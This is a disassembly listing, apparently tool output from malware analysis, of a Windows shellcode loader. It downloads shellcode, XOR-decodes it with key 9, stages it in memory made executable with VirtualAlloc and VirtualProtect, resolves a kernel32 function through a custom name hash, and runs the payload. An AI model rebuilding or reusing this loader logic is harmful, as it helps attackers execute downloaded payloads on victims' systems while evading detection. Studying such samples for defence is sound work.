Function at 0x1800012a0
Capabilities:
Encode data using xor

Disassembly:
push rdi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edi, edi
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
call fcn.180001080
test al, al
jne 0x18000130a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_download_shellcode
call fcn.1800016c0
mov rcx, rax
lea rdx, [0x1800018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800018f0
add rsp, 0x70
pop rdi
ret
movdqa xmm2, xmmword [0x1800033d0]
mov rdx, rdi
movdqa xmm3, xmmword [0x1800033e0]
mov qword [rsp + 0x80], rbx
mov rbx, qword [rsp + 0x30]
mov qword [rsp + 0x60], r13
mov r13, qword [rsp + 0x38]
mov qword [rsp + 0x50], r15
test rbx, rbx
je 0x1800013cd
cmp rbx, 0x40
jb 0x1800013a8
mov rcx, rbx
lea rax, [r13 + 0x20]
and rcx, 0xffffffffffffffc0
movdqu xmm0, xmmword [rax - 0x20]
lea rax, [rax + 0x40]
add rdx, 0x40
movdqa xmm1, xmm3
xorps xmm1, xmm0
xorps xmm1, xmm2
movdqu xmmword [rax - 0x60], xmm1
movdqu xmm0, xmmword [rax - 0x50]
xorps xmm0, xmm3
xorps xmm0, xmm2
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm1, xmmword [rax - 0x40]
xorps xmm1, xmm3
xorps xmm1, xmm2
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm3
movdqu xmm0, xmmword [rax - 0x30]
xorps xmm1, xmm0
xorps xmm1, xmm2
movdqu xmmword [rax - 0x30], xmm1
cmp rdx, rcx
jb 0x180001353
cmp rdx, rbx
jae 0x1800013cd
mov rcx, rbx
lea rax, [rdx + r13]
sub rcx, rdx
nop word [rax + rax]
xor byte [rax], 9
lea rax, [rax + 1]
sub rcx, 1
jne 0x1800013c0
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x180001430
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.VirtualAlloc_failed:
mov ebx, eax
call fcn.1800016c0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1800018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1800015de
mov r8, rbx
mov rdx, r13
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1800014ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.VirtualProtect_failed:
mov ebx, eax
call fcn.1800016c0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1800018a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1800015de
mov qword [rsp + 0x88], rbp
lea rcx, str.kernel32
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x58], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
movsxd rcx, dword [rax + 0x3c]
mov ebp, dword [rcx + rax + 0x88]
add rbp, rax
mov eax, dword [rbp + 0x1c]
mov r12d, dword [rbp + 0x20]
add rax, rsi
mov qword [rsp + 0x38], rax
add r12, rsi
mov eax, dword [rbp + 0x24]
add rax, rsi
mov qword [rsp + 0x30], rax
cmp dword [rbp + 0x14], edi
jbe 0x180001575
nop dword [rax + rax]
mov r14d, edi
mov ebx, dword [r12 + r14*4]
add rbx, rsi
je 0x18000156e
mov edx, 0x32
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
xor ecx, ecx
mov r9d, 0x35
test rax, rax
je 0x18000156e
nop word [rax + rax]
movsx r8d, byte [rcx + rbx]
inc rcx
imul edx, r9d, 0x10f29f
add r8d, edx
and r8d, 0xffffff
add r9d, r8d
cmp rcx, rax
jb 0x180001540
cmp r9d, 0x544e304
je 0x180001603
inc edi
cmp edi, dword [rbp + 0x14]
jb 0x180001510
mov rdi, qword [rsp + 0x30]
xor ecx, ecx
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r8, [0x180001070]
mov r9, r15
mov dword [rsp + 0x20], ecx
xor edx, edx
mov dword [rsp + 0x40], ecx
call rdi
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x88]
mov r13, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x80]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800018f0
add rsp, 0x70
pop rdi
ret
mov rcx, qword [rsp + 0x38]
mov r8d, 0x544e304
mov rax, qword [rsp + 0x30]
mov rdx, rbx
movzx eax, word [rax + r14*2]
mov edi, dword [rcx + rax*4]
lea rcx, str._s_:_0x_x_:__p_n
add rdi, rsi
mov r9, rdi
call fcn.180001010
jmp 0x18000157a